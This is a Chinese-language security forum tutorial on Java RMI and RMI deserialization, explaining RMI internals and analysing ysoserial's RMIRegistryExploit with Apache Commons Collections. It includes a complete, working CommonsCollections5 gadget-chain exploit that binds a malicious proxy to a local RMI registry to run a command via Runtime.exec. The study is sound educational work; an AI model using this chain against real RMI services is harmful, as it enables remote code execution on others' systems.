用户
搜索

该用户从未签到

i春秋作家

Rank: 7Rank: 7Rank: 7

8

主题

17

帖子

126

魔法币
收听
0
粉丝
1
注册时间
2019-11-29

i春秋签约作者

发表于 2021-1-24 23:04:08 69921

Java RMI反序列化学习初步

前言

准备花时间对java安全方面进行研究,而RMI反序列化导致的RCE也是屡见不鲜,因此本文对RMI以及RMI安全方面进行一个叙述和探索,也是主要参考了P牛的java安全漫谈来一步一步进行了解,下面开始进入正文部分

RMI的简介

JAVA本身提供了一种RPC框架RMIJava远程方法调用(Java Remote Method Invocation),可以在不同的Java 虚拟机之间进行对象间的通讯,RMI是基于JRMP协议(Java Remote Message Protocol Java远程消息交换协议)去实现的,需要注意的是RMI是java实现RPC的一种方式,但并不是唯一的方式,既然提到RPC,也就需要了解RPC

什么是RPC

RPC,全称Remote Procedure Call——远程过程调用,它是一种通过网络从远程计算机程序上请求服务,而不需要了解底层网络技术的方式。简单一点就是:通过一定协议和方法使得调用远程计算机上的服务,就像调用本地服务一样。

通常来说,RPC 的实现方式有很多,可以基于常见的 HTTP 协议,也可以在TCP上层封装自定义协议,常见的 Web Service 就是基于 HTTP 协议的 RPC,HTTP 协议的优点是具有良好的跨平台性,特别适合异构系统较多的公司,但是由于 HTTP 报头较为冗长,性能较差,基于 TCP 协议的 RPC 可以建立长连接,速度和效率明显,但是难度和复杂程度很高。

RPC 的诞生让构建分布式应用更容易,极大的扩大系统的可扩展性,容错性。为复杂业务逻辑的系统进行服务化改造和高可用性升级提供了可能。

RMI也是实现RPC的一种方式,这里贴上一张RMI的调用逻辑图:

通过这张图也能发现,RMI分为三个主题对象,分别为:

  • 1.RMI服务端:远程调用方法对象的提供者,也是代码真正执行的地方,执行结束会返回给客户端一个方法执行的结果。
  • 2.RMI客户端:客户端调用服务端的方法
  • 3.RMI注册中心:理解为查询到需要远程调用的方法的引用

在这里先实现这样一个RMI的工作过程,在实现的过程中逐渐对RMI进行进一步的了解和分析:

这里将注册中心和服务端放置在一起,也可以分开写

package RMI;

import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer {
    //RMI 服务端需要一个继承Remote的接口,其中定义的方法为支持远程调用的方法
    public interface HelloWorld extends Remote{
        public String Hello() throws RemoteException; //定义的方法需要跑出RemoteException的异常
        /*
        * 由于任何远程方法调用实际上要进行许多低级网络操作,因此网络错误可能在调用过程中随时发生。
           因此,所有的RMI操作都应放到try-catch块中
        * */
    }
    public static class RemoteHelloWorld extends UnicastRemoteObject implements HelloWorld{
        protected RemoteHelloWorld() throws RemoteException { //需要抛出一个Remote异常的默认初始方法
        }
        @Override
        public String Hello() throws RemoteException { //实现接口的方法
            return "Hello World!";
        }
    }
    //注册远程对象
    private void start() throws Exception{
        RemoteHelloWorld rhw = new RemoteHelloWorld();
        System.out.println("registry is running...");
        //创建注册中心
        LocateRegistry.createRegistry(1099);
        Naming.rebind("rmi://127.0.0.1:1099/hello",rhw);
    }
    //主类。用于创建注册中心,并将类实例化绑定到一个地址
    public static void main(String[] args) throws Exception{
        //创建远程对象实例
        new RMIServer().start();

    }
}

客户端:

package RMI;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
    public static void main(String[] args) throws Exception{
        //这里直接使用Naming.lookup和先通过得到注册中心,再从注册中心查询到名字为hello的远程对象是都可以的
        //RMIServer.HelloWorld hello = (RMIServer.HelloWorld) Naming.lookup("rmi://127.0.0.1:1099/hello");
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        RMIServer.HelloWorld hello = (RMIServer.HelloWorld)registry.lookup("hello");
        String ret = hello.Hello();
        System.out.println(ret);
    }
}

使⽤用Naming.lookup在Registry中寻找到名字是hello的对象,此时我们已经获取到了远程对象的引用,那么就可以调用对象的方法为客户端进行服务:


可以看到客户端得到远程的方法并且进行调用,下面通过先知一位师傅的图再次进行理解:

  • stub:为得到的远程代理对象
  • Skeleton:服务端返回执行结果给Skeleton,Skeleton通过invoke在服务端执行方法

通过调试我们来对整个源码进行一个大致分析:
1.使用Naming进行对远程实例对象进行查询

会调用RegistryImpl_Stub对象的lookup方法,继续跟进:

这里将代码贴出

 public Remote lookup(String var1) throws Acces**ception, NotBoundException, RemoteException {
        try {
            RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);

            try {
                ObjectOutput var3 = var2.getOutputStream();
                var3.writeObject(var1);
            } catch (IOException var18) {
                throw new MarshalException("error marshalling arguments", var18);
            }
            //通过TCP发送数据到服务端
            super.ref.invoke(var2);

            Remote var23;
            try {
                ObjectInput var6 = var2.getInputStream();
                var23 = (Remote)var6.readObject();
            } catch (IOException var15) {
                throw new UnmarshalException("error unmarshalling return", var15);
            } catch (ClassNotFoundException var16) {
                throw new UnmarshalException("error unmarshalling return", var16);
            } finally {
                super.ref.done(var2);
            }

            return var23;
        } catch (RuntimeException var19) {
            throw var19;
        } catch (RemoteException var20) {
            throw var20;
        } catch (NotBoundException var21) {
            throw var21;
        } catch (Exception var22) {
            throw new UnexpectedException("undeclared checked exception", var22);
        }
    }

做的事情是利用服务端host和port等信息创建的RegistryImpl_stub对象构造RemoteCall调用对象

newcall方法中,对注册中心进行连接,理解为建立了跟远程RegistryImpl的Skeleton对象的连接

连接建立完成后下一步就是传输数据,我们继续来看数据是如何进行传输的,注意super.ref.invoke(var2)方法,会执行invoke方法,而跟进该方法发现:

调用excuteCall()方法:

public void executeCall() throws Exception {
        DGCAckHandler var2 = null;

        byte var1;
        try {
            if (this.out != null) {
                var2 = this.out.getDGCAckHandler();
            }

            this.releaseOutputStream();
            //读取连接输入数据流
            DataInputStream var3 = new DataInputStream(this.conn.getInputStream());
            byte var4 = var3.readByte();
            if (var4 != 81) {
                if (Transport.transportLog.isLoggable(Log.BRIEF)) {
                    Transport.transportLog.log(Log.BRIEF, "transport return code invalid: " + var4);
                }

                throw new UnmarshalException("Transport return code invalid");
            }

            this.getInputStream();
            var1 = this.in.readByte();
            this.in.readID();
        } catch (UnmarshalException var11) {
            throw var11;
        } catch (IOException var12) {
            throw new UnmarshalException("Error unmarshaling return header", var12);
        } finally {
            if (var2 != null) {
                var2.release();
            }

        }

        switch(var1) {
        case 1:
            return;
        case 2:
            Object var14;
            try {
                var14 = this.in.readObject();
            } catch (Exception var10) {
                throw new UnmarshalException("Error unmarshaling return", var10);
            }

            if (!(var14 instanceof Exception)) {
                throw new UnmarshalException("Return type not Exception");
            } else {
                this.exceptionReceivedFromServer((Exception)var14);
            }
        default:
            if (Transport.transportLog.isLoggable(Log.BRIEF)) {
                Transport.transportLog.log(Log.BRIEF, "return code invalid: " + var1);
            }

            throw new UnmarshalException("Return code invalid");
        }
    }

此时应该是将数据通过流的方式全部传输完成,到使用远程对象方法时可以看到:

此时的连接已经是和49831端口建立的,而并非我们之前绑定的端口,这里直接使用P牛的描述:
这整个过程,首先客户端连接Registry,并在其中寻找Name是Hello的对象,这个对应数据流中的Call消息;然后Registry返回⼀一个序列列化的数据,这个就是找到的Name=hello的对象,这个对应数据流中的ReturnData消息;客户端反序列列化该对象,发现该对象是一个远程对象,地址在192.168.135.142:49831 ,于是再与这个地址建⽴立TCP连接;在这个新的连接中,才执⾏行行真正远程方法调⽤用,也就是hello()

因此RMI Registry就像一个网关,他⾃己是不会执行远程方法的,但RMI Server可以在上⾯注册一个Name到对象的绑定关系;
RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接RMIServer;最后,远程方法实际上在RMI Server上调用。

RMI的利用之处

思考我们能从什么方面来利用RMI进行攻击?
RMI注册中心实则是一个远程管理对象的一个平台,通过访问注册中心得到实例化的类进而调用类方法,是否能够直接对访问注册中心,修改远程服务器上的对象呢?

在RMI注册中心只有对于来源地址是localhost的时候,才能调用rebind、 bind、unbind等方法,不过list和lookup方法可以远程调用,这样也就避免了来自外部的恶意绑定

因此如果可以使用lookup方法,lookup作用就是获得某个远程对象。
如果对方RMI注册中心存在敏感远程服务,就可以进行探测调用
https://github.com/NickstaDB/BaRMIe
该工具即使探测是否存在危险的远程对象方法从而进行攻击,这相当于是对注册中心进行的攻击

下面我们重点研究模拟服务端对注册端发起攻击的方法,实际上服务端能够对注册中心进行攻击,注册中心能够对客户端进行攻击,客户端同样能够攻击注册中心,因为在这其中,数据的处理使用了readObject进行反序列化操作,因此可以构造恶意的payload来达到命令执行的目的

这里我们以Apache Commons Collections反序列化漏洞为例,使用的版本为commons-collections.jar 3.1,关于该反序列化的漏洞分析已经在前文提到过,这里在进行一次叙述:

apache.commons.collections.functors中,有一个InvokerTransformer类,它继承了Transformer和Serializable接口,在类中有一个成员函数transform,它通过反射技术可以调用任意类的任意方法。

结合其构造方法,可以调用其他类方法达到命令执行的目的,下面通过一段demo来进行演示:

import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class eval {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAcces**ception {
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"});
        Class cls = Runtime.class;
        //这里为了复习反射,并没有直接使用Runtime.getRuntime()方法,而是通过反射的方式实现
        Method getRuntime = cls.getDeclaredMethod("getRuntime");
        getRuntime.setAccessible(true);
        invokerTransformer.transform(getRuntime.invoke(cls));
    }
}

关于Apache Commons Collections反序列化具体的原理分析也可以参考:
https://www.xmanblog.net/java-deserialize-apache-commons-collections/

原理分析的比较透彻,其实如果是通过RMI来利用,比起常规使用Apache Commons Collections反序列化也只是多出了一步RMI的通信的步骤,在通信过程中会自动的进行反序列化的操作,最终通过Gadget来调用exec实现RCE,下面通过一个RMIexploit来演示:
在这里直接来分析ysoserialCommonsCollections5中的payload,在本地开启RMI服务端后,直接使用ysoserial能够执行弹出计算器的命令:

我们来看它的gadgetChain:

由于是利用Apache Commons Collections漏洞,因此主要攻击原理是在上文参考连接中,这里只是借助RMI服务端充当反序列化的媒介,看下核心代码ysoserial.exploit.RMIRegistryExploit#exploit

public static void exploit(final Registry registry,
            final Class<? extends ObjectPayload> payloadClass,
            final String command) throws Exception {
        new ExecCheckingSecurityManager().wrap(new Callable<Void>(){public Void call() throws Exception {
            //获取payload
            ObjectPayload payloadObj = payloadClass.newInstance();
            Object payload = payloadObj.getObject(command);
            String name = "pwned" + System.nanoTime();
            //将payload封装为Map,通过sun.reflect.annotation.AnnotationInvocationHandler建立起动态代理
            //变为Remote类型
            Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
            try {
                //封装的remote类型,通过RMI客户端的正常接口发出去
                registry.bind(name, remote);
            } catch (Throwable e) {
                e.printStackTrace();
            }
            Utils.releasePayload(payloadObj, payload);
            return null;
        }});
    }

关于动态代理,实际上是完成没有实现类但是在运行期动态创建了一个接口对象的方式的需求,通过JDK提供的Proxy.newProxyInstance()创建了一个接口对象,这种方式称为动态代理。

在运行期创建一个interface实例的方法如下:

  • 1.定义一个InvocationHandler实例,负责实现接口的方法调用
  • 2.通过Proxy.newProxyInstance()创建interface实例,需要三个参数:
    1.使用的ClassLoader,需要获得接口类的ClassLoader
    2.需要实现的接口数组,至少传入一个接口
    3.用来处理接口类方法调用的InvocationHandler实例
  • 3.将返回的Object强制类型转换为接口

因此在进行RMIexploit中:

  • 被代理的接口:Remote.class
  • 处理接口方法调用的InvocationHandler实例:sun.reflect.annotation.AnnotationInvocationHandler
    调用实现Remote接口的绑定代理的对象的任意方法都会自动被拦截,前往sun.reflect.annotation.AnnotationInvocationHandler的invoke方法执行

下面分析ysoserial是如何完成动态代理的:

 //Map是我们传入的,需要填充进入AnnotationInvocationHandler构造方法中的对象。
    //iface是被动态代理的接口
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
        return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
    }

//这里创建了一个`sun.reflect.annotation.AnnotationInvocationHandler`拦截器的对象
//传入了我们含有payload的map,进入构造方法,会在构造方法内进行赋值给对象的变量
    public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
        return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
    }

//正式开始绑定代理动态代理
//ih 拦截器
//iface 需要被代理的类
    public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
        final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
        allIfaces[ 0 ] = iface;
        if ( ifaces.length > 0 ) {
            System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
        }
    //上面整合了一下需要代理的接口到allIfaces里面
    //然后Proxy.newProxyInstance,完成allIfaces到ih的绑定
        return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
    }

完成了一个通过动态代理封装Remote.Class的接口对象,可能存在疑惑bind不是在服务端实现的吗?为什么在客户端同样也能进行使用,这里请参考先知一位师傅的文章,讲的非常具体和透彻:
https://xz.aliyun.com/t/2223
包括最后服务端是如何反序列化获取nameremote对象的,也正是因为会反序列化remote对象,在ysoserial中才通过使用动态代理来实现Remote接口类,从而将payload进行反序列化

这样其实是将payload放到了实现Remote接口的类的属性中,当服务端进行反序列化时,利用反序列化一个对象的过程中会递归类的属性进行反序列化的特点,来反序列化我们的payload,从而触发漏洞。

动态代理做到把payload放在AnnotationInvocationHandler拦截器的属性里面,然后动态代理可以把拦截器包装成任意类接口,这里AnnotationInvocationHandler就是实现Remote接口的类,因此其实在这里可以不使用动态代理来实现该类,可以自己实现Remote接口的类,然后放入payload,也可以最终实现RCE

payload分析

文章的最后分析一下关于payload部分细节的处理之处:
对于反序列化利用,我们是利用循环调用Transerformer先传入Runtime类,通过反射来调用getMethod方法,该方法参数为getRunTime,得到该函数后在通过反射调用Invoke方法来得到Runtime实例,最后再通过反射来调用Runtime实例的exec方法

lazyMap中存在get方法调用了transform函数,factory为构造方法的第二个参数:

TiedMapEntry类中,调用map类的get方法,有被同文件的toString函数调用:

public Object getValue() {
    return map.get(key);
}
public String toString() {
    return getKey() + "=" + getValue();
}

而在Apache Commons Collections中我们还需要找到一个反序列化的点,因此查看哪些类进行了readObject方法的重写,在BadAttributeValueExpException类中重写了readObject方法:

更巧的是其中valObj对象在从输入流获取后执行了toString()方法:
因此gadget chain很清晰:

  • 1.首先构造好TransformerChain
  • 2.构造好lazyMap对象,其get方法会调用transform方法
  • 3.构造好TiedMapEntry对象,其第一个参数Map为2中的lazymap对象,这样在进行toString()方法时会调用getvalue()进一步调用get
  • 4.声明一个BadAttributeValueExpException对象,并且它的参数Object为3中的TiedMapEntry实例,这样反序列化后就会调用TiedMapEntry的toString方法,进而触发链
public class gadgetChain {
    public static void main(String[] args) throws Exception{
        final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
        Transformer[] transformers = new Transformer[] {
                //传入Runtime类
                new ConstantTransformer(Runtime.class),
                //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
                new InvokerTransformer("getMethod",
                        new Class[] {String.class, Class[].class },
                        new Object[] {"getRuntime", new Class[0] }),
                //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class },
                        new Object[] {null, new Object[0] }),
                //反射调用exec方法
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        //声明lazyMap来调用transform
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap,transformerChain);
        //实例化TiedMapEntry,并且将lazyMap作为第一个参数
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"exp");
        //实例化BadAttributeValueExpException类,并且使其val属性为tiedMapEntry
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(badAttributeValueExpException,tiedMapEntry);
        String name = "pwned " + System.nanoTime();
        Map<String, Object> map = new HashMap<String, Object>();
        map.put(name, badAttributeValueExpException);
        // 获得AnnotationInvocationHandler的构造函数
        Constructor cl = Class.forName(ANN_INV_HANDLER_CLASS).getDeclaredConstructors()[0];
        cl.setAccessible(true);
        // 实例化一个代理
        InvocationHandler hl = (InvocationHandler)cl.newInstance(Override.class, map);
        Object object = Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, hl);
        Remote remote = Remote.class.cast(object);
        Registry registry= LocateRegistry.getRegistry("127.0.0.1",1099);
        registry.bind(name, remote);
    }
}

自己也跟着ysoserial的链复写了一遍,其中有一些细节需要说明。

badAttributeValueExpException对象为何不直接通过构造方法声明val属性

我们可以看到在代码中使用:

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(badAttributeValueExpException,tiedMapEntry);

为何不直接使用下面构造方法来实现而是通过更加复杂的反射呢?

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedNapEntry);

其中这个问题上跟进该类的构造方法就很容易明白:

public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }

可以看到,当传入对象不是null时,会调用该对象的toString方法,即tiedMapEntry的toString方法,这样val属性就会是String类型,造成后续Chain的无效

为何不直接将badAttributeValueExpException通过bind绑定到RMI

可以看到在ysoserial链中并没有直接将该类绑定,这是因为前文提到bind第二个参数必须是Remote类型,而badAttributeValueExpException无法强制转换成Remote类型,因此封装在AnnotationInvocationHandler中,通过动态代理的方式把payload放在一个remote接口的类的属性里面,然后在服务端反序列化的时候,利用反序列化一个对象的过程中会递归类的属性进行反序列化的特点,来反序列化我们的payload,从而触发漏洞。

分析到这里,RMI反序列化初步的学习也就到这儿了,如果有没有理解到位或者分析错误的情况,还请各位多多包涵和指点。

TQL,来康康
使用道具 举报 回复
干的漂亮 我最近也正在研究这块 一起加油加油
使用道具 举报 回复
学到了学到了
使用道具 举报 回复
发表于 2021-1-25 16:43:00
这波就很强
使用道具 举报 回复
发表于 2021-1-25 16:52:18

学到了学到了
使用道具 举报 回复
有代码了,偷个懒。可以直接抄了
使用道具 举报 回复
发新帖
您需要登录后才可以回帖 登录 | 立即注册